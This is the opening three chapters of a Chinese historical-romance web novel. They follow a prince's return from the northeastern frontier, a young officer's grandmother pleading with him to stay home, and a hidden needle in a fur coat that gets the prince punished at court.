《砌下落梅如雪乱》
1. 第一章 千山雪(一)
雪下得很大,像是谁扯了一把鹅毛又鼓足了劲吹得到处都是,天上是,山上是,树上是,三角枝桠叉着的老鸦巢上是,硕石板下死在三秋的衰草上是,泥巴里比雪还白的梅花瓣上是,官道上是,马睫毛上是,斗篷边沿缝了一圈的褐色貂毛上也是。
掠道之风呼啸而过,比官道上踢踢踏踏的马蹄之声还要吵闹。
一行二十余人奔波连月,终于在迫近京畿的当下喘上了一口滚烫的故乡气。他们浑身都是热的,四肢热、耳鼻热、心里热,眼眶也是热的,溅出来的心血眼泪仿佛能将这样的寒冬严景烫出一个洞。
靖远门外久候之人见远方白茫茫一片里逐渐出现了这几点人影,不禁欢呼起来。
“来了来了,燕王爷回来了!”
沈磐刚从车窗上缩回脑袋,转眼就推开车门跳了下来,坐在车辀上与旁人有一搭没一搭聊天的太子沈碣还没来得及拦,她就已经一脚深一脚浅地跑出去几丈远。
“沈斫!”
控缰据于马上的年轻人刚模模糊糊看见远处巍峨城楼下乍然盛开一朵鲜艳的牡丹花,正讶异地想一探究竟,蓦地听见这一声惊飞寒鸦的呼唤,喜不自胜,一夹马腹一跃而出,在来人的面容逐渐清晰的当口,他及时勒住缰绳、飞身下马接住了跑得气喘吁吁、脚步虚浮得仿佛下一秒就要摔个鼻青眼肿的姑娘。
沈磐高兴得大叫:“回来了!终于回来了!”
“姐!”
沈磐魔怔般念念有词,仰手一把捂上沈斫冰冰凉的脸,拇指刮刮他冻红的鼻尖又扯扯他的脸颊,捏来揉去,似是硬要找出一点做梦的破绽来。
沈斫脸一红,去拉她的手,“姐,后面有人看着……你放心我回来了,如假包换!”
沈磐红着眼眶,装出十分的欣慰:“嗯,很好……就是瘦了一点——你手怎么回事?”
她拽着沈斫要缩回去的手,才有些放松的神情立时紧绷。
“小伤……哪有不受伤的呢。”
正此时,官道上又追来几人,其中一个裹着一身夜行斗篷的年轻人牵了沈斫的坐骑,随着众人抱手朗声笑向沈磐:“给公主殿下拜年!”
循声,沈磐偏头迎着逐渐盛放的天光一看,那个男子一张脸衬在深灰貂毛里白得像玉,一双春风得意桃花眼也似嵌在其中浑然一体的两颗曜玉,亮得让人不敢久望。
沈磐撒开弟弟的手,故作骄矜地斜开眼:“原来是张千户,我知道你,立了功的边将就是不一样,的确不是兵马司的酒囊饭袋可以相提并论的,都能坐在马上给本宫见礼。”
闻言,张永一微讶,眼中一掠而过的情绪应该就是惊讶,他翻身下马,朝着沈磐单膝跪入雪中,高声拜道:“末将张络,拜见长平公主。”
跟着沈斫从东北回来的这些亲卫也纷纷下马,一齐扬声下拜:“拜见长平公主!”
在不知是谁呵出的热气中,沈斫朝沈磐恳求地眨眨眼,似在恳求她不要为难张永一,又似笑话她闲心大发捉弄人。
沈磐也没打算戏弄张永一,未曾想他这个弟弟见不得张永一受半点莫须有的小小非难,这么着急就护上了,仿佛她能一口吞了他似的。
心中无奈,沈磐只得笑道:“诸位都是宁远的骁将、是我东宫的恩人,切莫拘这些虚礼。”
视线又落到还不起身的张永一脸上,沈磐自道作孽,上前半步虚虚托起张永一落了雪的白铁护腕,“张千户请起。”
眼见沈磐的手带着一脉热烈的暖香接近,张永一微抬手臂,避开沈磐的手掌,“谢公主。”
身后亲卫齐声道:“谢公主。”
索性沈磐也不是真要扶他,又觉自己将玩笑开到了萍水相逢之人头上的确欠妥,便也无心计较张永一这番抬手竟为何故。
沈斫拽一把张永一的臂弯,朝众多亲卫笑:“起来吧起来吧。”
一回头,看见太子带着长缨卫指挥使走来,沈斫朝其拱手道:“二哥!”
才站起的张永一等重又跪下,“拜见太子殿下。”
太子扶住张永一的小臂,不甚注意指尖刚触及他的护腕便被冻得一缩,随后更着了火般刺痛起来,面上倒还从容端庄:“本宫深谢这两年来张千户与诸位将士对斫儿的照顾,化隆虽然是规矩冗沉之地,但在东宫,诸位皆可当作东北故地,往来从容,不讲虚礼。”
“护卫燕王殿下是臣等的职责。”
等张永一等人站起,太子回头对沈磐道:“磐磐,不可对我东宫的恩人无礼。”
闻言,张永一又要跪下,沈斫伸手一拦,听沈磐拙劣地认错:“是,知错了,磐磐知错了。张千户,你这再要跪可就是在和本宫较劲了。”
张永一慌乱垂下眼,更是半站着半要跪尴尬得手足无措。
还说“知错”?知错完又管不住自己的嘴开始搬弄。
太子无奈,一手拉上妹妹,一手牵过弟弟,朝众人道:“马上就要天黑了,内城将闭,张千户与诸位可先归家与亲人团聚,明晚岁末宫宴,可去兵部报上勘合再至夜宴拜见陛下,陛下早备犒赏,就待诸位明晚赏光。”
“陛下天恩浩荡,臣等舍生忘死难报其一……”
太子微笑:“不必多礼,快些回家吧。”他的目光落在张永一的脸颊上,“再晚梁国姑母就要担心了。”
得见两年来日夜煎熬的沈斫心情畅快,张永一的心终于落地,朝东宫三人笑应:“是。”
**
梁国公主府修于升平年间,坐落于务本门附近,周围一圈都是簪缨世家的聚居所在。张永一护送燕王回京,从靖远门入城,便只需趟过贯穿外城南北、连通芳林和启复二门的白虎大街即可。
方才城外,天还是大亮的,他牵着缰才走上白虎大街,云光黯淡,晚雪飒飒,一路华灯相送,看得在东北苦寒之地困守整整两年的一众归人目不暇接。
义然指着飞翘于千檐万顶之间的那处塔楼,“公子你看,观华楼上灯了。”
张永一才望着大路一边临川郡主府和鲁国大长公主府的巍峨,这便顺着义然的话转头眺望远天,观华楼上张灯结彩,兔儿灯、猴子灯、仙鹤灯、美人灯、游鱼翱鳖灯,将万古寥落的深空也装点得五光十色。
“好看。”
义然又指着西南处的另一座刷着满身红漆的高楼,“万景楼也撤铃换灯了!”
万景楼四角高檐下常年悬挂的迎客琉璃铃已然成了化隆一处特色,岁末这天,东家掌柜便会亲自上楼,将迎客铃取下送至兴化门外双塔寺去尘拂恶,又在檐下挂上四只八角琉璃走马灯,每一面灯厢上都蒙上时下丹青妙手的亲笔,价值连城。
“好看。”
义然高兴:“万景楼的灯要挂到十五呢,十五之日,任何人能射得任意一盏,万景楼就要为之下灯。这每年排队尝试的人数百,多少不差咱们一个,今年不妨去试试?”
张永一摇头:“以前又不是没试过,这么高这么远又这么黑,我自认功夫还不到家。”
“识别三日当刮目相看,何况已经两年过去了,公子不试试怎么知道自己不行?”
张永一远远指着那盏西北角的山河锦绣琉璃灯,“这四盏之中,就这一盏从角度来说最容易,但从万景楼挂灯至现在,总得有个五六十年了吧,升平年间只有一个少年将军乔致用,也就十年前致仕的乔尚书,只有他射下过;本朝也只有霍大将军射中,他们是何等神武有力的人物?我去就是自不量力。”
“自古英雄出少年!乔尚书当年也不过公子你这个年纪吧,霍大将军,不,现在要叫霍尚书了,那年他也不过二十五六,也就比你大上五六岁……”
张永一笑:“他们都是刀山火海练出来的,身经百战,更是百步穿杨不在话下。你要试你自己去试,我就不去丢这个人了。”
“公子怕丢人,倒不怕两手空空回府让人笑话。”
张永一指他:“你别激我,我才不上钩。”
义然大笑:“不射就不射,只是咱们真要两手空空地回去?”
“带着战功,怎么会两手空空?再说了,我也是真心准备过礼物的,谁让那长桫三天两头地烦,我才打了六张貂皮,一件大一点的披肩都不够做的。回去我和祖母说,我这六张貂皮都送给燕王殿下了,殿下缝了做了件披风,今岁回京是要献给陛下补去年千秋节生辰贺礼的,听见这个,祖母岂不比自己收到披风还要高兴?”
张永一又推搡他:“好了好了,我们在化隆还要呆上一阵子,够你每天出去乱逛看得够了,走走走,饿死了。”
**
深墙深夜,大敞的轩窗外骤积深雪,槛内则摆着把温馨的躺椅,椅子旁架了盏鎏金立灯,灯碗中幽幽的一点火光,衬得这一片温暖外的空间深不可测。
入目的一切都是这般深邃,就像宁远的每个雪夜,要将久久凝望的每个人都吞噬殆尽。可拢着裘衣坐在摇椅上愣愣出神的那个人又是这么浅,嘴角有很浅很浅的笑,目光也如咫尺深的浅潭,一点光就能把漾起的波纹变化出千百个奇异的花样。
张永一也不自主放轻脚步,在入内室前叉手下拜,“祖母。”
他觉得自己这一声“祖母”叫得很吵,但老太太仍沉浸在自己的世界里,仿佛上了年纪耳朵背,没听见他的呼唤。
张永一蹑脚缓步走到她身边,“祖母?”
“哦,络儿……”梁国牵住张永一的手,她的视线也随之落了下来,“络儿,你来了。”
张永一跪在她的脚边,“嗯,祖母,我回来了。”
梁国攥着他的手贴上自己被夜风冻得有些麻木的脸,脸上一有温度,她的眼眶也似解冻,被烛火一晃,像要滴下泪来。
“祖母,我来关窗。”
梁国拉住他的手不放,“不用关,我身子还硬朗着,吹不坏。”
老太太攥得紧,张永一没法,只能用另一只手帮她掖领口,“祖母,您还是要保重身体……”
“你才要保重身体。”
张永一笑,“孙儿年轻,身强体壮……”
“在宁远呆了两年不曾回来,身上添了多少伤?”
张永一仰头笑答:“不多。”
梁国将他的手扣在自己膝头,“你从小就报喜不报忧。”
张永一笑得灿烂:“那是因为没有忧只有喜。”
“滑头狡辩。”梁国翻手轻抚他温热的脸颊,指腹触及他下颌上凸起的一道已经生肉了
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、已经淡得看不出的疮疤,声音不禁发抖:“络儿,刚才桌上你叔叔伯伯的那些话,都听进去了吗?”
张永一诚恳点头,“一字不拉,都听进去了。”
“好,那便按照他们说的,留在化隆,再也别走了。”
张永一怔愣瞬息,张口刚要为自己难熄难灭的报国意与建功心说上几句情,梁国便阖上眼睛,两行清泪就此划入脸上沟壑,“络儿,此次是天命宥我大楚,是天命保你归来。此战之后,我大楚再无陆微,再无人镇守东北。你爹娘只有你一个孩儿,我也只有你一个孙儿,你爹爹死于西南的瘴气,你叔叔葬于西北的黄沙,你婶婶那时还怀着孩子,悲痛难产——”
听着祖母声音哽咽,张永一埋下头,“祖母……”
梁国拢起他鬓边乌发,“络,缠也,缚也,不是什么好寓意,可恰符血亲之心。”
“祖母,我张家世代军戎——”
“正因为张家世代军戎!”
梁国捧住他的双手,眼泪止不住打在他们的手指手背,“正因如此,张家不缺你一个去战场上为了家族荣耀而卖血卖命。”
“祖母,我是为了朝廷,是为了陛下,也是为了大楚,为了百姓。”
“只有枕戈饮血才能为国为民吗?”
梁国的眼睛里似也燃着火,不是立灯之火,也不是雪夜篝火,更不是狼烟烽火,而是一把要烧尽太庙明堂的火,她颤声道:“你虽然跟随叔伯长辈投身军旅,但也读了书、知道事,也听说过西台柳先生、司徒周先生的故事……”
永济初年,内阁辅臣周舫南巡粮道以赈急汛,那时他的独子才遭风寒夭折,但汛情急迫,周舫公务在身回不了家,谁料暑热难耐、不期病死江上,周夫人不堪打击、上吊自杀,门庭寥落、就此绝户,最后只有族中远嫁的侄女帮他们收殓。
而永济本朝的第一位首辅柳曦既,自感身体衰败、精力不济,曾两次上表自请还乡,陛下为国次次挽留,又批了三月长假供他修养,谁期隆冬雪深,柳曦既才过知天命之年便突发重疾撒手西还,故友收其衣冠,家无余财,一片凄凉,永远整齐的桌案上书卷混乱,其中三次辞表草拟未半,墨迹已干。
提起这二位,梁国知道,他们死得太早而后起之辈生得太晚,诸如张永一等人对他们多有敬佩之意,但这种剜心也无法比拟的丧失之痛,他们是无论如何也理解不了的。
她长叹一声,眼泪又落了下来,“他们都是为国为民、不顾身者,陛下知恩图报,感念他们的忠心,上柱国、赞美谥、荫及远亲,门楣光耀、青史留名的诏书下了不知多少道!可是啊——柳先生一生未娶、埋骨卷牍,周先生妻儿病笃、葬身江船,你的志也像他们的一样宏大,我欣慰,我骄傲,但我并非要你如他们一般举身报国……”
张永一替她抹泪,“祖母,孙儿没有文才,空有一身力气和叔伯教授的武艺,父亲平生未完的志向是永定四海,做儿子的当承袭父志,为国尽忠……”
“为国尽忠也要先保全自己啊!你知道他们的亲朋好友会有多么痛惜吗?你知道……知道……”
“孙儿知道,战场上刀枪无眼,祖母担心我出意外。可做了文臣书生、龟缩在庙堂之上便能一世无忧吗?陆将军说,官场文人的笔有时比战场将士的刀还要凶险!孙儿于笔墨上实在没有造诣,更没有科举入仕、在文坛上一决雌雄的本事,只有在边疆……在长城上……”
只有盘旋霄汉的才是鹰。他们或可暂栖崖巅,但孤独荒凉又危机四伏的天空才是归宿。
他想做大楚的鹰。
梁国已泣不成声。
“祖母,只要是为了百姓,为了大楚,为了陛下,孙儿什么都愿意做,什么苦都能吃,什么罪都能遭,什么危险都能坦然应对不后退。”
她的孙儿,本来就是鹰。
张永一将梁国的双手捧至心口,“在宁远,孙儿真就见到了书中惨状,‘伏尸百万,流血漂橹’,不是夸张虚语。待狄人退散,陆将军亲自带着我们去捡同袍的尸骸,为他们筑穴、为他们起坟,军书战报上的每一个名字都是孙儿亲自写的,每一个名字后面都有一个家……”
梁国不敢抹去他的眼泪。
“祖母,孙儿不忍!”
梁国低头,顶着手背。
“陆将军说,将者,慎战,止战。近年大楚军中风气不佳,自升平年间义律请和,多年来边将无功、匹夫怨声四起。陛下继位以来,安定二十年的西北再起风波,追随霍大将军立功授官、封妻荫子者数十家,军中好战征伐之风越发盛行……祖母,一将功成万骨枯,孙儿不忍,不忍见那么多兵士因为一个人、几个人的好大喜功而断送性命!”
张永一抽出自己的手,交叠额头,膝行后退,朝佝偻着背垮坐在风雪里的梁国长公主下拜,“祖母,孙儿不忍!”
他抬头仰望着已经哭不出声音的梁国长公主,被泪水浸过的眼睛里,落着化隆十几年来也不曾见过的磊落明星,“祖母,陆将军去时将这样的重任托付给了后人,他没有兄弟,也没有儿女,孙儿守在他的床前,看着他的眼睛没了神采,一想到,父亲走前……或许也是这么失望又饱含希望……”
“祖母!”
2. 第二章 千山雪(二)
张永一的声音里已饱盈乞求:“孙儿有这样的志向,有这个决心去磨练的本事,孙儿什么都不怕,孙儿也不求名利、不求享受,甚至可以像戍守长风关、以身殉国的靖臣窦将军一样不立家室……大楚不缺我一个,大楚却又正缺我这个人!这种事,总要有人去担负、去抗争、去肃正、去斗、去拼……”
“张络!”
张永一喉头一紧。
“你可以为了忠贞之志,赌上一切、抛弃一切!”
“是!”
梁国嘴唇乌紫,“所以你也能……抛弃祖母吗?像说出刚刚那些话一样,轻飘飘说出那些话一样地,抛弃祖母吗?”
张永一紧咬牙关,猛然磕了一个响头,沉默地匍匐于冰凉的地板之上。
窗外雪已经在他身上、身外,铺上了薄薄一层霜白。
梁国再度呜咽:“所以,你不能不忠,但能不孝!”
夜风卷起地上的雪片,掠起梁国长公主苍苍白发,也掀起张永一用攥紧的手死命压住的衣角。
“络儿……你还这么年轻,因为突然的战事困在东北,陆将军替你加冠了……而祖母……祖母已经这么老了……”
张永一手指攥出了声。
梁国从躺椅上滑到地上,护着他的肩膀,面色终于苍白如雪,“祖母就要死了……”
“祖母!”张永一霍然抬头,就看见了她脸上的惨怆。
“祖母只有你这一个亲人了……”
祖孙两个抱在一起。
“络儿……你要抛下祖母吗?祖母只有你了,你祖父死了,你父亲母亲死了,你叔叔婶婶死了……我的母亲也早就死了……我没有至亲的兄弟,也没有同胞姐妹……祖母只有你了络儿,你要……你也要抛弃我吗——”
张永一托着梁国长公主塌下去的脑袋,撕心裂肺地喊了起来:“祖母!快来人!找医生!”
永济二十九年的岁末,冰冻三尺,漫天飞雪。
张永一在梁国长公主的病榻前守了整宿未睡。卯时刚过,临近天明,张永一打了个盹,梦见幼小的他骑着父亲的肩膀、跟着母亲一起去看十五灯会,务本门十字街上的鳌山灯比往年更加雄伟,但坐在父亲的肩膀上,这小小的鳌山算些什么,他一伸手就摸到了万景楼上那冰冰凉凉的琉璃灯。
张永一猛然清醒,乍见天光盛大,眼前一片茫茫。
梁国长公主还在温暖之中安卧,呼吸平缓,脸上笑容安详,可手握着他,一丝一毫也不肯放松。
张永一稍放下心来,刚望着祖母有些出神,就听室外脚步嘈杂,很快就有人裹携着隆冬冷意冲了进来。他回头,轻声叫了一句:“八叔祖,堂兄。”
张八郎带着长孙张绰朝平躺着沉眠的梁国长公主施礼,见张永一的手被扯着,便按按他的肩膀,“络儿,你出来。”
张永一轻轻掰开梁国长公主的手,蹑手蹑脚地跟着张八郎出了里间。
“络儿,燕王殿下进献给陛下的那张裘衣——”
一提及此,张永一心中不详,一见张八郎欲言又止的模样,张绰在一旁灰心丧气的模样,顿时心中如泛滔滔,他迫切问:“叔祖,是出什么事了吗?”
“唉,大事!”
张永一呼吸一窒,几乎不敢去问事情的细节。
张八郎把着他的手臂,声线里如同磨了沙子,“络儿,那张裘衣里有六块貂皮是你打的?”
“是。”
张八郎面色如土:“今晨陛下试穿,发现衣领里藏了根针!”
张永一心一紧,“陛……陛下可有事……”
张绰见祖父惊恐万分说不下去,连忙搀扶住摇摇欲坠的两人,轻声宽慰:“陛下无事,也不提追究,只是罚了燕王殿下——”
“殿下被罚了!笞刑、杖刑还是下了诏狱?”
张永一没收住力气,隔着厚厚冬衣将张绰都抓疼,但张绰只继续安慰他:“燕王再不受宠也是陛下的亲子,这些军中刑罚断然不会用到他身上的,陛下只让燕王罚跪,没说时辰,那其中转圜的余地就很大了,且我听说太子和长平公主已经去求情了,永一,你不用太担心了。”
“燕王殿下忠厚爱君,怎么可能做出这种事情?”
张绰道:“陛下不追究,应该就是当意外处理的,或许就是缝衣的下人忘记退针了——唉,这种说法着实荒谬,但是……”
“这件衣裳是燕王殿下亲自缝的。”
张八郎和张绰都愣在原地。
这件裘衣究竟是何等品色,他们不知道,但怎么想,能进献给陛下的东西总归不会过于寒酸粗陋,且制一件裘衣就要花几十张上好貂皮,手巧的宫女绣娘缝上一件也要花不少个日夜。谁知,东北还打着仗,熬灯缝衣的那个人,居然是金尊玉贵养大的天潢贵胄、龙子皇孙。
张永一声音有些沙哑:“而且,缝完后,我亲自检查过针头线头,没有意外……”
张八郎喟叹不已,忽见眼前人影一闪,他忙喊道:“络儿!你要上哪里去!”
张绰眼疾手快拉住了张永一,“永一,你要进宫为燕王求情吗?”
“不是求情,是陈情。”
张八郎悲愤道:“你陈什么情!如果这不是意外,那就是陷害!无论是谁陷害谁,宫里都要杀人,现在是新年,新年!文武百官、天下百姓盼了两年才来的平安年!这样的日子都要见血!都是天大的不祥!”
张绰见张永一平复下来,松手扶住自己的祖父,“永一,这件事过去就过去了,如果起了风浪,谁知道这是冲着陛下去的、冲着燕王去的,还是冲着你、冲着咱家去的?陛下和燕王是父子,燕王与晋国公主、长平公主,还有东宫太子都是一母同胞的兄弟,陛下与陈皇后夫妻情深,哪怕燕王真的脱不了干系,为了亡妻,为了太子,陛下也不会重罚的。”
张永一沉静下来。
张绰:“永一,树大招风,升平朝咱家躲过了血洗,但不代表永济当朝还能安枕无忧。陛下和燕王是一家人,可你是外人,我们是臣子,神仙斗法、凡人遭殃,如果真是陷害,如果陛下真要追究,就是胡乱编个借口栽在你头上、栽到咱家头上,这都是灭顶之灾。”
张八郎急劝:“你不想想你父亲母亲,你也得想想你祖母!”
祖母就要死了……
他不敢去想,如果祖母真因为自己直愣莽撞而难保余年,他将会有多么懊悔。
张绰:“我身在羽林卫,虽然这些天不轮值,你若真的担心,我再托人去探探消息。”
张永一朝张八郎祖孙拜谢,“叔祖,堂兄,多谢你们来告诉我这个消息。”
张八郎制止:“我们只是来看望你祖母,你祖母为了这个家劳心费神几十年,身为后辈的不能为长者分忧,在她身有不适的时候侍奉左右,这点孝心还是应该有的——络儿,你又要去哪儿?”
张永一再行一礼:“昨夜回来得急,还没去兵部交行路勘合,过了今天六部衙门就要休假,不能再拖了。”
张绰如何不知道他想干什么,“你在东北立了功,今天晚上的岁末宫宴必有你的一席之地,到时候去还更顺路……”
张八郎心里叹气,心知他也是个苦劝不住,只能打住孙儿的话头,“早去早回,注意安全。”
**
东风亭孤独地站在冬日苍白磊落的天幕之下。
一见跪在石子路上那个背影,沈磐控制不住自己飞起的脚步,几乎是挣脱了宫规跑了过去大叫一声,“沈斫!”
沈斫被冻得厉害,听见了这再熟悉不过的声音,被冻得出走的三魂六魄顿时归位。他抬起毫无血色的一张脸,迎着头顶白得刷粉的天光,望向朦朦胧胧飞雪里已经被气得四肢冰凉、五官移位的沈磐。
他扯出一个,似哭似笑的安慰。
“起来!”沈磐避开他的眼色,抓着他垂在身侧的胳膊要将人惯起,就见他轻轻摇头,喑哑着嗓音叫她放手:“姐,不用。”
沈磐的肺都快气炸了:“你给我起来!”
沈斫再度摇头。
“你怎么这么轴!父皇让你跪,你不跪廊下跪这里,风雪来去无阻,你这是要跪死自己!你还要不要命了!”
“父命不可违。”
“父要你死你也去死?”沈磐吼得气血上涌,拽着沈斫就要往上拔,就见周遭宫女、内监袖手一旁,气得更厉害了,“他犯蠢你们也跟着犯蠢?还愣着干嘛?都是死人啊!”
“别连累他们……”
沈斫话还没说完,沈磐便甩开手,突然冷笑起来:“你倒是好心!还可怜别人,谁可怜你?分明是有险恶之人存心陷害,涉事的宫女内监一个不罚却偏偏罚你!好啊,这一整天你就跪吧,跪到晚上群臣进宫看你的落魄样!谁路过不以为你是犯了天条,哪还有一点建了功业的亲王模样!等他想起了你,你早就冻死了!就算不冻死,你这双腿也别要了,战场也别上了,宁远也别回了,就一辈子老死在紫微宫里当一只乞讨的老鼠!”
沈斫的声音里满是凄凉:“磐磐……我没事的。”
沈磐站在他身后,抹了一把脸,克制着自己心中越发喧阗的哭声,将那口泻下去的气又提了起来。
沈斫如何听不见这样的嘈杂。
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他想,风再刮得大些,这便听不见了。
忽然,他觉得身上有些奇怪,猛然见沈磐解开了自己的斗篷围到了他的身上。他浑身一抖,扑簌簌惊落了不少冰渣雪点。
“都是死人啊!还不快拿东西给他垫着?”
被沈磐这么一吼,终于有一个掌灯的内监放下了灯盏,也解了自己的披风叠了要塞入沈斫的双膝下,可自膝盖往下,与雪水相凝,已然冻在了一起。那内监茫然地抬头看向沈斫,又看向压着沈斫双肩、浑身永远写满了不允拒绝的公主。
触及这内监的眼神,沈磐鼻头一酸,抖着打颤的手,将帷帽翻起盖到了沈斫头上,随即奔开远去。
今夜要办岁末宫宴。
哪怕是为了皇家的体面,父皇也不会让他跪太久的。
沈斫能感觉得到,斗篷内全是沈磐身上的温度,逐渐地,似是五感开始解冻,他闻到了一阵浓香,想来还是沈磐身上熏的乱七八糟的香。
这天太冷了,她若这么跑着,一定会冻伤。
“劳驾……”
留下来仍然顽固地给他双膝垫披风的内监应声抬头。
“帮我把帽子摘下来吧。”
那个内监不动,也不出声。
沈斫叹息:“她脾气其实还挺好的,今天对你们发火实属……”
他怎么也说不下去,迎上那内监在自己吐出的白雾似的气息中逐渐润湿的双眼,替沈磐圆场的千言万语都化作哽在喉咙口、说不出的“对不住”三个字。
才立了功的亲王向一个无名内监道歉。
没什么是不能够的。
在这座天堂似的、迷宫似的、囚笼似的皇宫里,没什么是不能够的。
沈斫的声音更沙哑了:“对不起,披风已经湿了……天这么亮,我这不需要打灯,你回去吧。”
天上又飘起了雨点子一般的雪,逐渐的,在远天呼啸而来的北风里,那沙砾般的雪越下越大,落在沈斫肩头时,已是“燕山雪花大如席”。
沈斫浑身都僵住了,唯有思绪越发活络。
他这么一跪,必然不会有人胆敢继续追究,张永一他们也不必受自己的牵连。其实这对张永一来说,就是无妄之灾,他好好地跟着陆将军历练,做他的千户,将来也做他的参军校尉,再当他的将军、封妻荫子,一生顺风顺水又呼风唤雨,自己就不该问他借那六张貂皮,白白让他也添上生死难料的恐惧。
由张永一,沈斫又想到,张家是武将世家。升平末年,赵王谋逆造反,朝廷因此诛杀了不少军功出身的世家大族,夺籍削爵一连十几家少有幸免。张家中立,逃过一劫,但军中威望仍在,如今三边都督、西越都督皆是其家人,十二卫中更不乏其子弟,梁国长公主的身体每况愈下,张家及其亲族目前也没有要和皇室继续秦晋之好的打算,态度这么高傲,恐遭是非。
是非啊。
张家怎么能让张永一来东北?张永一怎么能在战场上救他性命?捡到了他这个是非口袋,张永一、张家这辈子都爬不出由他倾倒出的污秽泥潭。
沈磐拥了东宫的氅衣,就在不远处陪着沈斫。
“回去。”太子目中哀楚,却也只能扯了沈磐的手,将人往东宫的方向拖。
“二哥!”沈磐甩开了太子的手,回头看着沈斫依然跪得笔挺的身影,“父皇有这么多孩子,还有个最宠爱的幺儿带在身边,他才不在乎沈斫死不死!可他是我们的亲弟弟啊!母后拼了命保下他,忍心看见他被这样磋磨吗!”
沈磐又拽住太子的手,“二哥,父皇什么都清楚,却要苛责他!这么多年了,就因为从产房里活着出来的是他而不是母后!二哥,你也是为人父的,你说这是父亲吗?他这么冷血自私,他配当父亲吗!”
“沈磐!”太子猛然捂住她的嘴,“这些话不能乱说!”
他手掌里已经蓄满了沈磐的热泪。
受迫于这样的锥心之痛,太子也不忍闭眼。
“二哥……”
听不了沈磐喉咙中的呜咽,太子慌忙帮她擦去眼泪,可眼泪越擦越多,多到最后满手、满袖、满脸都是。
“呆在这里,听话。”
说完,太子大步冲向了沈斫。
沈磐不知道他要干什么,刚要追过去,就见跟着太子一并前去的那个长缨卫,伸手似是扶了一把沈斫的肩颈,沈斫就如同推倒的冰塑,直挺挺地摔到太子身上。
她受不住惊吓尖叫出声。
长缨卫拔刀铲着沈斫膝盖下的冰碴,太子蹲跪下来,抬了沈斫,废了不少力气将人打横抱起。
“走,我们回家。”
3. 第三章 千山雪(三)
张永一离了兵部便横贯内城跑去了十二卫的衙门,从羽林卫处得到燕王平安的消息,他这才恍惚地走出西长安门。
义然也没有带,他骑着马,一个人沿着青龙大街往南走。尽管这一带他不常来,但他记得清楚明白,只用沿青龙大街一直走到金光门十字街,然后选大路向东,一直骑到务本门十字街就行了,保准不会走错。可是他心里压着事情,岁末最后一天的西半城也热闹,他在车流马队中很快就丢了方向。
拐入小巷就不是这么容易出来了。
张永一转了好久,终于在第三次闯入死胡同后,认命地打算向行人问路。
死胡同之所以为死胡同,就在于这个“死”。
不过张永一的眼睛尖,移开一堆杂物里欲盖弥彰般套在上面的竹篾箱笼,睡在小山似破铜烂铁里的一个干瘪老头便慵懒地翻了一个身。老头浑身上下脏兮兮的,像是猪圈里滚过泥巴泔水的猪,但猪是何等聪明,一嗅出张永一身上干净、端正、富贵、年轻的气味,一张鬼脸登时落地,一骨碌从废物堆里爬起,逃也似地朝胡同口撒腿狂奔。
张永一牵着马,奇怪地望着他一个人的兵荒马乱。
一瞬。
两瞬。
三瞬。
那老头觉得身后静悄悄什么动静也无很是奇怪,忍不住别过头来看,就见那一身打扮公子哥得不能再公子哥的年轻人正看自己,奇怪考究地看着自己,像是看傻子般地看着自己,触及自己的视线,连忙和善可亲地冲自己笑:“老伯,我没有恶意。”
老头鬼使神差地刹住脚,觉得自己的行径十分掉价,下意识地一捋自己已经掉了半边的翘尾胡须,又觉得这年轻人一身正气,长得俊俏,神色里还有点呆呆愣愣的纯粹感觉,不像是谁家的探子,便试探地挪近了一小步。
张永一见有戏,连忙施礼:“老伯,我是想问个路。”
了解了来意,老头再挪近一步。
“请问金光门十字街怎么走?”
老头眉毛一翘,两日来的戒心彻底如土委地,朝张永一摆手:“不知道,我还想问你呢。”
见张永一一脸讶异的样子,老头不高兴地哼哼:“怎么,以为我是城里的叫花子?”
“没有……晚辈绝没有这个意思……”
“那就是偷度入城的土匪子?哼哼,才不是什么流民鼠辈……”
老头捡起被风吹翻了的破袄,重新给自己的猪圈垫好柴木稻草,自顾自嘟囔着:“真是虎罗平阳被犬欺,龙游浅滩遭虾戏,拔了毛的凤凰不如鸡!老道真是比沙子泥土还要卑贱了……我的国主啊,你怎么走得这么早呢,留下老道一人被欺负成这个样子……”
张永一捡起要被狂风吹跑的竹笼,“老伯?”
老头没好气地冲他龇牙:“滚滚滚,打扰我休息,就差那么一点——”
他伸手比给张永一看,可张永一只看见他存满污垢的指甲比姑娘家留的都长,手又精瘦精瘦的,像是一对乌鸡爪。
老头老泪纵横:“就这么一点!”
张永一看着他拇指、食指间比的距离,差点荣获一双斗鸡眼。
“就这么点!”老头哭得伤心。
“老伯……对不起,我真不是有意的……”
“你是故意的!”
张永一被呛,不敢说话。
“我的命怎么就这么苦啊!我马上就能在梦里见到阎王了!为什么要叫醒我啊……师父……国主……我的徒侄啊……”
张永一进退两难。
他刚想遛的,这老头却抱着自己的腿不肯撒手,自己将人扒拉下不是,任他抱着也不是,便只能舔舔被风吹得干涩的嘴唇,试探地问:“老伯,你是不是有什么冤屈——”
“我有天大的冤屈啊!”
张永一捏拳。
这老头的鼻涕马上就要滴上自己的裤脚了!
他听见自己的声音发抖:“老伯,你有冤屈,我带你去衙门里诉,京兆、刑部、大理寺,我都认得……”
“我要告的就是那群狗官啊!”
张永一一愣,见这老头机敏地把自己的鼻涕撩开,这才蹲下身严肃问:“老伯,是官府欺压了你?什么官,京兆还是……”
“欺压!欺压!他们何止是欺负我压迫我……”
张永一要扶他起来,却见老头刚攀上自己的手臂,轻轻一捏,神情一僵,说话的语气也霎时正常许多,可这一正常,周遭顿时阴恻恻起来,“你是武官?”
“是。”
老头如遭雷劈,跌坐在地,见鬼似的,手脚并用地就要逃,张永一连忙拦他:“老伯!老伯别紧张,我不是坏人,我也不是化隆城里的武官……”
老头叽哇乱叫,叫了一会儿,这才冷静下来,“西北还是东北的?”
“东北宁远的。”
老头的眼泪又滴了下来,忙趴在地上磕起头来:“义士!恩人!将军!”
张永一眼皮一跳,“老伯老伯,万万不可行此大礼,有什么冤屈你跟我说,我虽人微言轻,但但凡能帮到的,我一定竭尽全力……”
“将军!你要救我啊!”
**
义然提着捅,肩上还挑着热水,进进出出,止不住地和张永一抱怨,“公子你从哪里捡回来的臭要饭的?这是几百年没洗过澡了吧?”
里间正哼着乡野小调愉快沐浴的老头像是长了顺风耳,扯着破锣嗓子大声骂:“滚!你才是臭要饭的!你全家都是臭要饭的几百年不洗澡!”
义然搁下捅,刚要中气十足地回怼,张永一就笑道:“别别别,惊动祖母就不好了。”
义然愤然提桶出门,过了会儿,收拾好一地水才晃荡到张永一身边,“公子,我来帮你换药吧。”
“别动他。”
义然刚要拆张永一左手臂上渗血的纱布,老头就一边系着衣带,一边慢吞吞从里间飘了出来。
